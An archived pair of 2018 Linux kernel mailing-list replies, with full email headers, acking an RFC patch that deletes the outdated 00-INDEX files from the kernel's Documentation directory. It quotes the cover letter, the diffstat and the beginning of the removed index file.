 :mime-version:in-reply-to:content-language:content-transfer-encoding;
 bh=zZCq3fsoykODvc06c8DGlqnw6alow9yqLm2CgyNAQMI=;
 b=fxHSknQqjCNevmIcsd9V5qo2xDJJfPavarmOqbKb7ePq4cySOTWlc1lbbCXz01mQDa
 HZtXGBsOnQwGYt2VKcAVi5BiVyvmHCAviaCYWN8J9dSXSPzafM5oSqi/sPCa1X9lEhg7
 7llCULPaZ3zORBg7zyCykbBJSTS3m9iHrrY3IE6vL3X0Dt/SJ5vbE1m2SqKn90qOgafC
 TrmGJAVEhnwIRFXsOHzXuE9tUsELgatunT3j4KJT7oiTeVXsHt8dyFMuEahJEARlnj4h
 ai5K0PJ0D/RlWgynVdpz2F3vST4hUOaOVP0rm6Ursr185m37F9qozrD6qOwQo2MZkPRE
 +pgQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:subject:to:cc:references:from:message-id:date
 :user-agent:mime-version:in-reply-to:content-language
 :content-transfer-encoding;
 bh=zZCq3fsoykODvc06c8DGlqnw6alow9yqLm2CgyNAQMI=;
 b=GVVtc9PuRwebO2yvkzwOY3WcTMA59683SYiZ3qwfV3lSIBMH7IAcFUDNlmMAVjbncw
 np+dLszyDDjGdR5ZTg1OEhF3Erm6JYV5GTraEh6iyacnn7MqL+qf8Uok68bh1JqOgZuW
 gQCm9myH0X/EN8L2rVVcLFyr7v377RdIUr509fBJGfTjNUtRayebV72zOnnio31Yx345
 D43JZejaI0/beMg7rzrgYlk8FS+QW54d4zCdMJRuKOtSdmgmCfdm1uhSYJhaEj//oMP5
 gsFLgCT/K+cWCaqv2K20m13dM5vzzJS72Gn6hyVP8AMeqI+OUSQCvxEZKzTfuf7US8DG
 NpkA==
X-Gm-Message-State: APzg51D+w4QzuwcrDenPbpHqTp/OKiE26+K6fZk8E/XLTls1/jWK5/Te
 jV23pdseotzB8lf1efcmmhd4QA==
X-Google-Smtp-Source: ANB0Vday1g+n2udsgXujr+kp8wBF7ynIgDEx9IJNz4DQLQDvqqutB6BqwPm0b0yURtCCrXspIzOpkg==
X-Received: by 2002:a24:6c8a:: with SMTP id
 w132-v6mr707602itb.141.1536075952394; 
 Tue, 04 Sep 2018 08:45:52 -0700 (PDT)
Original-Received: from [192.168.1.56] ([216.160.245.98])
 by smtp.gmail.com with ESMTPSA id u204-v6sm7063501itb.34.2018.09.04.08.45.48
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Tue, 04 Sep 2018 08:45:51 -0700 (PDT)
In-Reply-To: <1536012923-16275-1-git-send-email-henrik@austad.us>
Content-Language: en-US
X-Mailman-Approved-At: Wed, 05 Sep 2018 07:52:07 +1000
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:130273 gmane.linux.documentation:59347 gmane.linux.ports.mips.general:66352 gmane.comp.emulators.kvm.devel:192043 gmane.comp.video.dri.devel:235138 gmane.linux.drivers.devicetree:286794 gmane.linux.kernel.lsm:39743 gmane.linux.kernel.gpio:33834 gmane.linux.kbuild.devel:21106 gmane.linux.ports.parisc:28927 gmane.linux.ide:65388 gmane.linux.kernel.pci:74943 gmane.linux.power-management.general:105887 gmane.linux.kernel:2861571 gmane.linux.kernel.spi.devel:29965 gmane.linux.network:553015
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/130273>

On 9/3/18 4:15 PM, Henrik Austad wrote:
> This is a respin with a wider audience (all that get_maintainer returned)
> and I know this spams a *lot* of people. Not sure what would be the correct
> way, so my apologies for ruining your inbox.
> 
> The 00-INDEX files are supposed to give a summary of all files present
> in a directory, but these files are horribly out of date and their
> usefulness is brought into question. Often a simple "ls" would reveal
> the same information as the filenames are generally quite descriptive as
> a short introduction to what the file covers (it should not surprise
> anyone what Documentation/sched/sched-design-CFS.txt covers)
> 
> A few years back it was mentioned that these files were no longer really
> needed, and they have since then grown further out of date, so perhaps
> it is time to just throw them out.
> 
> A short status yields the following _outdated_ 00-INDEX files, first
> counter is files listed in 00-INDEX but missing in the directory, last
> is files present but not listed in 00-INDEX.

For the block related bits:

Reviewed-by: Jens Axboe <axboe@kernel.dk>

-- 
Jens Axboe



From - Thu Nov 08 21:41:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.mips.general,gmane.comp.emulators.kvm.devel,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.kernel.lsm,gmane.linux.kernel.gpio,gmane.linux.kbuild.devel,gmane.linux.ports.parisc,gmane.linux.ide,gmane.linux.kernel.pci,gmane.linux.power-management.general,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.linux.network,gmane.linux.drivers.devicetree
Subject: Re: [PATCH] [RFC v2] Drop all 00-INDEX files from Documentation/
Date: Tue, 4 Sep 2018 20:56:22 +0300
Lines: 2467
Approved: news@gmane.org
Message-ID: <20180904175621.GA27866@rapoport-lnx>
References: <1536012923-16275-1-git-send-email-henrik@austad.us>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1536098323 564 195.159.176.226 (4 Sep 2018 21:58:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 4 Sep 2018 21:58:43 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: Mark Rutland <mark.rutland@arm.com>, linux-mips@linux-mips.org,
 linux-fbdev@vger.kernel.org, x86@kernel.org, kvm@vger.kernel.org,
 linux-doc@vger.kernel.org, Peter Zijlstra <peterz@infradead.org>,
 James Hogan <jhogan@kernel.org>, Linus Walleij <linus.walleij@linaro.org>,
 Will Deacon <will.deacon@arm.com>, dri-devel@lists.freedesktop.org,
 Masahiro Yamada <yamada.masahiro@socionext.com>, Jan Kandziora <jjj@gmx.de>,
 Paul Mackerras <paulus@samba.org>, Henrik Austad <haustad@cisco.com>,
 Pavel Machek <pavel@ucw.cz>, "H. Peter Anvin" <hpa@zytor.com>,
 Evgeniy Polyakov <zbr@ioremap.net>, linux-s390@vger.kernel.org,
 Ian Kent <raven@themaw.net>, linux-security-module@vger.kernel.org,
 Paul Moore <paul@paul-moore.com>, Jonathan Corbet <corbet@lwn.net>,
 Helge Deller <deller@gmx.de>,
 Radim =?utf-8?B?S3LEjW3DocWZ?= <rkrcmar@redhat.com>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ing
To: Henrik Austad <henrik@austad.us>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Tue Sep 04 23:58:33 2018
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from lists.ozlabs.org ([203.11.71.2])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1fxJLD-0008CS-Fa
	for glppe-linuxppc-embedded-2@m.gmane.org; Tue, 04 Sep 2018 23:58:33 +0200
Original-Received: from lists.ozlabs.org (unknown [IPv6:2401:3900:2:1::3])
	by lists.ozlabs.org (Postfix) with ESMTP id 424gkd0MfyzF36s
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Wed,  5 Sep 2018 08:00:41 +1000 (AEST)
Authentication-Results: lists.ozlabs.org; dmarc=none (p=none dis=none) header.from=linux.vnet.ibm.com
X-Original-To: linuxppc-dev@lists.ozlabs.org
Delivered-To: linuxppc-dev@lists.ozlabs.org
Authentication-Results: lists.ozlabs.org;
 spf=none (mailfrom) smtp.mailfrom=linux.vnet.ibm.com
 (client-ip=148.163.156.1; helo=mx0a-001b2d01.pphosted.com;
 envelope-from=rppt@linux.vnet.ibm.com; receiver=<UNKNOWN>)
Authentication-Results: lists.ozlabs.org; dmarc=none (p=none dis=none)
 header.from=linux.vnet.ibm.com
Original-Received: from mx0a-001b2d01.pphosted.com (mx0a-001b2d01.pphosted.com
 [148.163.156.1])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by lists.ozlabs.org (Postfix) with ESMTPS id 424ZKQ4b6dzF33M
 for <linuxppc-dev@lists.ozlabs.org>; Wed,  5 Sep 2018 03:56:54 +1000 (AEST)
Original-Received: from pps.filterd (m0098404.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w84HsYl9017899
 for <linuxppc-dev@lists.ozlabs.org>; Tue, 4 Sep 2018 13:56:52 -0400
Original-Received: from e06smtp02.uk.ibm.com (e06smtp02.uk.ibm.com [195.75.94.98])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2m9xh50w1t-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linuxppc-dev@lists.ozlabs.org>; Tue, 04 Sep 2018 13:56:49 -0400
Original-Received: from localhost
 by e06smtp02.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linuxppc-dev@lists.ozlabs.org> from <rppt@linux.vnet.ibm.com>;
 Tue, 4 Sep 2018 18:56:45 +0100
Original-Received: from b06cxnps4076.portsmouth.uk.ibm.com (9.149.109.198)
 by e06smtp02.uk.ibm.com (192.168.101.132) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Tue, 4 Sep 2018 18:56:31 +0100
Original-Received: from d06av26.portsmouth.uk.ibm.com (d06av26.portsmouth.uk.ibm.com
 [9.149.105.62])
 by b06cxnps4076.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w84HuURa43843750
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Tue, 4 Sep 2018 17:56:30 GMT
Original-Received: from d06av26.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id E8A1AAE04D;
 Tue,  4 Sep 2018 20:55:53 +0100 (BST)
Original-Received: from d06av26.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id F1328AE059;
 Tue,  4 Sep 2018 20:55:47 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.206.193])
 by d06av26.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Tue,  4 Sep 2018 20:55:47 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <1536012923-16275-1-git-send-email-henrik@austad.us>
X-TM-AS-GCONF: 00
x-cbid: 18090417-0008-0000-0000-0000026C24A0
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18090417-0009-0000-0000-000021D43CB3
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-04_10:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=0 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1011 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809040179
X-Mailman-Approved-At: Wed, 05 Sep 2018 07:52:07 +1000
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:130275 gmane.linux.ports.mips.general:66353 gmane.comp.emulators.kvm.devel:192044 gmane.linux.documentation:59348 gmane.comp.video.dri.devel:235139 gmane.linux.kernel.lsm:39744 gmane.linux.kernel.gpio:33835 gmane.linux.kbuild.devel:21107 gmane.linux.ports.parisc:28928 gmane.linux.ide:65389 gmane.linux.kernel.pci:74944 gmane.linux.power-management.general:105888 gmane.linux.kernel:2861578 gmane.linux.kernel.spi.devel:29966 gmane.linux.network:553017 gmane.linux.drivers.devicetree:286796
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/130275>

On Tue, Sep 04, 2018 at 12:15:23AM +0200, Henrik Austad wrote:
> This is a respin with a wider audience (all that get_maintainer returned)
> and I know this spams a *lot* of people. Not sure what would be the correct
> way, so my apologies for ruining your inbox.
> 
> The 00-INDEX files are supposed to give a summary of all files present
> in a directory, but these files are horribly out of date and their
> usefulness is brought into question. Often a simple "ls" would reveal
> the same information as the filenames are generally quite descriptive as
> a short introduction to what the file covers (it should not surprise
> anyone what Documentation/sched/sched-design-CFS.txt covers)
> 
> A few years back it was mentioned that these files were no longer really
> needed, and they have since then grown further out of date, so perhaps
> it is time to just throw them out.
> 
> A short status yields the following _outdated_ 00-INDEX files, first
> counter is files listed in 00-INDEX but missing in the directory, last
> is files present but not listed in 00-INDEX.
> 
> List of outdated 00-INDEX:
> Documentation: (4/10)
> Documentation/sysctl: (0/1)
> Documentation/timers: (1/0)
> Documentation/blockdev: (3/1)
> Documentation/w1/slaves: (0/1)
> Documentation/locking: (0/1)
> Documentation/devicetree: (0/5)
> Documentation/power: (1/1)
> Documentation/powerpc: (0/5)
> Documentation/arm: (1/0)
> Documentation/x86: (0/9)
> Documentation/x86/x86_64: (1/1)
> Documentation/scsi: (4/4)
> Documentation/filesystems: (2/9)
> Documentation/filesystems/nfs: (0/2)
> Documentation/cgroup-v1: (0/2)
> Documentation/kbuild: (0/4)
> Documentation/spi: (1/0)
> Documentation/virtual/kvm: (1/0)
> Documentation/scheduler: (0/2)
> Documentation/fb: (0/1)
> Documentation/block: (0/1)
> Documentation/networking: (6/37)
> Documentation/vm: (1/3)
> 
> Then there are 364 subdirectories in Documentation/ with several files that
> are missing 00-INDEX alltogether (and another 120 with a single file and no
> 00-INDEX).
> 
> I don't really have an opinion to whether or not we /should/ have 00-INDEX,
> but the above 00-INDEX should either be removed or be kept up to date. If
> we should keep the files, I can try to keep them updated, but I rather not
> if we just want to delete them anyway.
> 
> As a starting point, remove all index-files and references to 00-INDEX and
> see where the discussion is going.

For the Documentation/vm

Acked-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
 
> Again, sorry for the insanely wide distribution.
> 
> Signed-off-by: Henrik Austad <henrik@austad.us>
> Cc: Jonathan Corbet <corbet@lwn.net>
> Cc: Bjorn Helgaas <bhelgaas@google.com>
> Cc: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
> Cc: Josh Triplett <josh@joshtriplett.org>
> Cc: Steven Rostedt <rostedt@goodmis.org>
> Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
> Cc: Lai Jiangshan <jiangshanlai@gmail.com>
> Cc: Jens Axboe <axboe@kernel.dk>
> Cc: Rob Herring <robh+dt@kernel.org>
> Cc: Mark Rutland <mark.rutland@arm.com>
> Cc: Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>
> Cc: Linus Walleij <linus.walleij@linaro.org>
> Cc: "David S. Miller" <davem@davemloft.net>
> Cc: Karsten Keil <isdn@linux-pingi.de>
> Cc: Masahiro Yamada <yamada.masahiro@socionext.com>
> Cc: Michal Marek <michal.lkml@markovi.net>
> Cc: Peter Zijlstra <peterz@infradead.org>
> Cc: Ingo Molnar <mingo@redhat.com>
> Cc: Will Deacon <will.deacon@arm.com>
> Cc: Ralf Baechle <ralf@linux-mips.org>
> Cc: Paul Burton <paul.burton@mips.com>
> Cc: James Hogan <jhogan@kernel.org>
> Cc: Paul Moore <paul@paul-moore.com>
> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> Cc: Helge Deller <deller@gmx.de>
> Cc: "Rafael J. Wysocki" <rjw@rjwysocki.net>
> Cc: Len Brown <len.brown@intel.com>
> Cc: Pavel Machek <pavel@ucw.cz>
> Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
> Cc: Paul Mackerras <paulus@samba.org>
> Cc: Michael Ellerman <mpe@ellerman.id.au>
> Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
> Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
> Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
> Cc: Jiri Slaby <jslaby@suse.com>
> Cc: Mark Brown <broonie@kernel.org>
> Cc: Thomas Gleixner <tglx@linutronix.de>
> Cc: Paolo Bonzini <pbonzini@redhat.com>
> Cc: "Radim Krčmář" <rkrcmar@redhat.com>
> Cc: Evgeniy Polyakov <zbr@ioremap.net>
> Cc: "H. Peter Anvin" <hpa@zytor.com>
> Cc: x86@kernel.org
> Cc: Henrik Austad <henrik@austad.us>
> Cc: Andrew Morton <akpm@linux-foundation.org>
> Cc: Ian Kent <raven@themaw.net>
> Cc: Jacek Anaszewski <jacek.anaszewski@gmail.com>
> Cc: Mike Rapoport <rppt@linux.vnet.ibm.com>
> Cc: Jan Kandziora <jjj@gmx.de>
> Cc: linux-doc@vger.kernel.org
> Cc: linux-kernel@vger.kernel.org
> Cc: linux-pci@vger.kernel.org
> Cc: devicetree@vger.kernel.org
> Cc: dri-devel@lists.freedesktop.org
> Cc: linux-fbdev@vger.kernel.org
> Cc: linux-gpio@vger.kernel.org
> Cc: linux-ide@vger.kernel.org
> Cc: netdev@vger.kernel.org
> Cc: linux-kbuild@vger.kernel.org
> Cc: linux-mips@linux-mips.org
> Cc: linux-security-module@vger.kernel.org
> Cc: linux-parisc@vger.kernel.org
> Cc: linux-pm@vger.kernel.org
> Cc: linuxppc-dev@lists.ozlabs.org
> Cc: linux-s390@vger.kernel.org
> Cc: linux-spi@vger.kernel.org
> Cc: kvm@vger.kernel.org
> Signed-off-by: Henrik Austad <haustad@cisco.com>
> ---
>  Documentation/00-INDEX                  | 428 --------------------------------
>  Documentation/PCI/00-INDEX              |  26 --
>  Documentation/RCU/00-INDEX              |  34 ---
>  Documentation/RCU/rcu.txt               |   4 -
>  Documentation/admin-guide/README.rst    |   3 +-
>  Documentation/arm/00-INDEX              |  50 ----
>  Documentation/block/00-INDEX            |  34 ---
>  Documentation/blockdev/00-INDEX         |  18 --
>  Documentation/cdrom/00-INDEX            |  11 -
>  Documentation/cgroup-v1/00-INDEX        |  26 --
>  Documentation/devicetree/00-INDEX       |  12 -
>  Documentation/fb/00-INDEX               |  75 ------
>  Documentation/filesystems/00-INDEX      | 153 ------------
>  Documentation/filesystems/nfs/00-INDEX  |  26 --
>  Documentation/fmc/00-INDEX              |  38 ---
>  Documentation/gpio/00-INDEX             |   4 -
>  Documentation/ide/00-INDEX              |  14 --
>  Documentation/ioctl/00-INDEX            |  12 -
>  Documentation/isdn/00-INDEX             |  42 ----
>  Documentation/kbuild/00-INDEX           |  14 --
>  Documentation/laptops/00-INDEX          |  16 --
>  Documentation/leds/00-INDEX             |  32 ---
>  Documentation/locking/00-INDEX          |  16 --
>  Documentation/m68k/00-INDEX             |   7 -
>  Documentation/mips/00-INDEX             |   4 -
>  Documentation/mmc/00-INDEX              |  10 -
>  Documentation/netlabel/00-INDEX         |  10 -
>  Documentation/netlabel/cipso_ipv4.txt   |  11 +-
>  Documentation/netlabel/introduction.txt |   2 +-
>  Documentation/networking/00-INDEX       | 234 -----------------
>  Documentation/parisc/00-INDEX           |   6 -
>  Documentation/power/00-INDEX            |  44 ----
>  Documentation/powerpc/00-INDEX          |  34 ---
>  Documentation/s390/00-INDEX             |  28 ---
>  Documentation/scheduler/00-INDEX        |  18 --
>  Documentation/scsi/00-INDEX             | 108 --------
>  Documentation/serial/00-INDEX           |  16 --
>  Documentation/spi/00-INDEX              |  16 --
>  Documentation/sysctl/00-INDEX           |  16 --
>  Documentation/timers/00-INDEX           |  16 --
>  Documentation/virtual/00-INDEX          |  11 -
>  Documentation/virtual/kvm/00-INDEX      |  35 ---
>  Documentation/vm/00-INDEX               |  50 ----
>  Documentation/w1/00-INDEX               |  10 -
>  Documentation/w1/masters/00-INDEX       |  12 -
>  Documentation/w1/slaves/00-INDEX        |  14 --
>  Documentation/x86/00-INDEX              |  20 --
>  Documentation/x86/x86_64/00-INDEX       |  16 --
>  README                                  |   1 -
>  scripts/check_00index.sh                |  67 -----
>  50 files changed, 8 insertions(+), 1896 deletions(-)
>  delete mode 100644 Documentation/00-INDEX
>  delete mode 100644 Documentation/PCI/00-INDEX
>  delete mode 100644 Documentation/RCU/00-INDEX
>  delete mode 100644 Documentation/arm/00-INDEX
>  delete mode 100644 Documentation/block/00-INDEX
>  delete mode 100644 Documentation/blockdev/00-INDEX
>  delete mode 100644 Documentation/cdrom/00-INDEX
>  delete mode 100644 Documentation/cgroup-v1/00-INDEX
>  delete mode 100644 Documentation/devicetree/00-INDEX
>  delete mode 100644 Documentation/fb/00-INDEX
>  delete mode 100644 Documentation/filesystems/00-INDEX
>  delete mode 100644 Documentation/filesystems/nfs/00-INDEX
>  delete mode 100644 Documentation/fmc/00-INDEX
>  delete mode 100644 Documentation/gpio/00-INDEX
>  delete mode 100644 Documentation/ide/00-INDEX
>  delete mode 100644 Documentation/ioctl/00-INDEX
>  delete mode 100644 Documentation/isdn/00-INDEX
>  delete mode 100644 Documentation/kbuild/00-INDEX
>  delete mode 100644 Documentation/laptops/00-INDEX
>  delete mode 100644 Documentation/leds/00-INDEX
>  delete mode 100644 Documentation/locking/00-INDEX
>  delete mode 100644 Documentation/m68k/00-INDEX
>  delete mode 100644 Documentation/mips/00-INDEX
>  delete mode 100644 Documentation/mmc/00-INDEX
>  delete mode 100644 Documentation/netlabel/00-INDEX
>  delete mode 100644 Documentation/networking/00-INDEX
>  delete mode 100644 Documentation/parisc/00-INDEX
>  delete mode 100644 Documentation/power/00-INDEX
>  delete mode 100644 Documentation/powerpc/00-INDEX
>  delete mode 100644 Documentation/s390/00-INDEX
>  delete mode 100644 Documentation/scheduler/00-INDEX
>  delete mode 100644 Documentation/scsi/00-INDEX
>  delete mode 100644 Documentation/serial/00-INDEX
>  delete mode 100644 Documentation/spi/00-INDEX
>  delete mode 100644 Documentation/sysctl/00-INDEX
>  delete mode 100644 Documentation/timers/00-INDEX
>  delete mode 100644 Documentation/virtual/00-INDEX
>  delete mode 100644 Documentation/virtual/kvm/00-INDEX
>  delete mode 100644 Documentation/vm/00-INDEX
>  delete mode 100644 Documentation/w1/00-INDEX
>  delete mode 100644 Documentation/w1/masters/00-INDEX
>  delete mode 100644 Documentation/w1/slaves/00-INDEX
>  delete mode 100644 Documentation/x86/00-INDEX
>  delete mode 100644 Documentation/x86/x86_64/00-INDEX
>  delete mode 100755 scripts/check_00index.sh
> 
> diff --git a/Documentation/00-INDEX b/Documentation/00-INDEX
> deleted file mode 100644
> index 2754fe8..0000000
> --- a/Documentation/00-INDEX
> +++ /dev/null
> @@ -1,428 +0,0 @@
> -
> -This is a brief list of all the files in ./linux/Documentation and what
> -they contain. If you add a documentation file, please list it here in
> -alphabetical order as well, or risk being hunted down like a rabid dog.
> -Please keep the descriptions small enough to fit on one line.
> -							 Thanks -- Paul G.
> -
> -Following translations are available on the WWW:
> -
> -   - Japanese, maintained by the JF Project (jf@listserv.linux.or.jp), at
> -     http://linuxjf.sourceforge.jp/
> -
> -00-INDEX
> -	- this file.
> -ABI/
> -	- info on kernel <-> userspace ABI and relative interface stability.
> -CodingStyle
> -	- nothing here, just a pointer to process/coding-style.rst.
> -DMA-API.txt
> -	- DMA API, pci_ API & extensions for non-consistent memory machines.
> -DMA-API-HOWTO.txt
> -	- Dynamic DMA mapping Guide
> -DMA-ISA-LPC.txt
> -	- How to do DMA with ISA (and LPC) devices.
> -DMA-attributes.txt
> -	- listing of the various possible attributes a DMA region can have
> -EDID/
> -	- directory with info on customizing EDID for broken gfx/displays.
> -IPMI.txt
> -	- info on Linux Intelligent Platform Management Interface (IPMI) Driver.
> -IRQ-affinity.txt
> -	- how to select which CPU(s) handle which interrupt events on SMP.
> -IRQ-domain.txt
> -	- info on interrupt numbering and setting up IRQ domains.
> -IRQ.txt
> -	- description of what an IRQ is.
> -Intel-IOMMU.txt
> -	- basic info on the Intel IOMMU virtualization support.
> -Makefile
> -	- It's not of interest for those who aren't touching the build system.
> -PCI/
> -	- info related to PCI drivers.
> -RCU/
> -	- directory with info on RCU (read-copy update).
> -SAK.txt
> -	- info on Secure Attention Keys.
> -SM501.txt
> -	- Silicon Motion SM501 multimedia companion chip
> -SubmittingPatches
> -	- nothing here, just a pointer to process/coding-style.rst.
> -accounting/
> -	- documentation on accounting and taskstats.
> -acpi/
> -	- info on ACPI-specific hooks in the kernel.
> -admin-guide/
> -	- info related to Linux users and system admins.
> -aoe/
> -	- description of AoE (ATA over Ethernet) along with config examples.
> -arm/
> -	- directory with info about Linux on the ARM architecture.
> -arm64/
> -	- directory with info about Linux on the 64 bit ARM architecture.
> -auxdisplay/
> -	- misc. LCD driver documentation (cfag12864b, ks0108).
> -backlight/
> -	- directory with info on controlling backlights in flat panel displays
> -block/
> -	- info on the Block I/O (BIO) layer.
> -blockdev/
> -	- info on block devices & drivers
> -bt8xxgpio.txt
> -	- info on how to modify a bt8xx video card for GPIO usage.
> -btmrvl.txt
> -	- info on Marvell Bluetooth driver usage.
> -bus-devices/
> -	- directory with info on TI GPMC (General Purpose Memory Controller)
> -bus-virt-phys-mapping.txt
> -	- how to access I/O mapped memory from within device drivers.
> -cdrom/
> -	- directory with information on the CD-ROM drivers that Linux has.
> -cgroup-v1/
> -	- cgroups v1 features, including cpusets and memory controller.
> -cma/
> -	- Continuous Memory Area (CMA) debugfs interface.
> -conf.py
> -	- It's not of interest for those who aren't touching the build system.
> -connector/
> -	- docs on the netlink based userspace<->kernel space communication mod.
> -console/
> -	- documentation on Linux console drivers.
> -core-api/
> -	- documentation on kernel core components.
> -cpu-freq/
> -	- info on CPU frequency and voltage scaling.
> -cpu-hotplug.txt
> -	- document describing CPU hotplug support in the Linux kernel.
> -cpu-load.txt
> -	- document describing how CPU load statistics are collected.
> -cpuidle/
> -	- info on CPU_IDLE, CPU idle state management subsystem.
> -cputopology.txt
> -	- documentation on how CPU topology info is exported via sysfs.
> -crc32.txt
> -	- brief tutorial on CRC computation
> -crypto/
> -	- directory with info on the Crypto API.
> -dcdbas.txt
> -	- information on the Dell Systems Management Base Driver.
> -debugging-modules.txt
> -	- some notes on debugging modules after Linux 2.6.3.
> -debugging-via-ohci1394.txt
> -	- how to use firewire like a hardware debugger memory reader.
> -dell_rbu.txt
> -	- document demonstrating the use of the Dell Remote BIOS Update driver.
> -dev-tools/
> -	- directory with info on development tools for the kernel.
> -device-mapper/
> -	- directory with info on Device Mapper.
> -dmaengine/
> -	- the DMA engine and controller API guides.
> -devicetree/
> -	- directory with info on device tree files used by OF/PowerPC/ARM
> -digsig.txt
> -	-info on the Digital Signature Verification API
> -dma-buf-sharing.txt
> -	- the DMA Buffer Sharing API Guide
> -docutils.conf
> -	- nothing here. Just a configuration file for docutils.
> -dontdiff
> -	- file containing a list of files that should never be diff'ed.
> -driver-api/
> -	- the Linux driver implementer's API guide.
> -driver-model/
> -	- directory with info about Linux driver model.
> -early-userspace/
> -	- info about initramfs, klibc, and userspace early during boot.
> -efi-stub.txt
> -	- How to use the EFI boot stub to bypass GRUB or elilo on EFI systems.
> -eisa.txt
> -	- info on EISA bus support.
> -extcon/
> -	- directory with porting guide for Android kernel switch driver.
> -isa.txt
> -	- info on EISA bus support.
> -fault-injection/
> -	- dir with docs about the fault injection capabilities infrastructure.
> -fb/
> -	- directory with info on the frame buffer graphics abstraction layer.
> -features/
> -	- status of feature implementation on different architectures.
> -filesystems/
> -	- info on the vfs and the various filesystems that Linux supports.
